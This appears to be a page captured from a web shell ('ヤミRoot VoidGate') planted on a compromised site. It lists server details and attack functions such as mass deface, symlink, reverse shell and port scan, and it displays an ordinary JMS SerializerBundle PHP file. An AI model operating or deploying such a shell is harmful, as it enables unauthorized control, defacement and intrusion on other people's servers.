ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
jms
/
serializer-bundle
/
Debug
/
Viewing: TraceableMetadataFactory.php
<?php declare(strict_types=1); namespace JMS\SerializerBundle\Debug; use Metadata\AdvancedMetadataFactoryInterface; use Metadata\ClassHierarchyMetadata; use Metadata\ClassMetadata; use Metadata\MergeableClassMetadata; /** * @internal */ final class TraceableMetadataFactory implements AdvancedMetadataFactoryInterface { private $storage = []; /** * @var AdvancedMetadataFactoryInterface */ private $metadataFactory; public function __construct(AdvancedMetadataFactoryInterface $metadataFactory) { $this->metadataFactory = $metadataFactory; } public function getLoadedMetadata(): array { return $this->storage; } public function getAllClassNames(): array { return $this->metadataFactory->getAllClassNames(); } /** * @return ClassHierarchyMetadata|MergeableClassMetadata|null */ public function getMetadataForClass(string $className) { $metadata = $this->metadataFactory->getMetadataForClass($className); if ($metadata instanceof ClassMetadata) { $this->trackMetadata($metadata); } return $metadata; } protected function trackMetadata(ClassMetadata $metadata): void { $class = $metadata->name; $this->storage[$class] = array_merge( $this->storage[$class] ?? [], $metadata->fileResources ); $this->storage[$class] = array_unique($this->storage[$class]); } }
Coded With 💗 by
0x6ick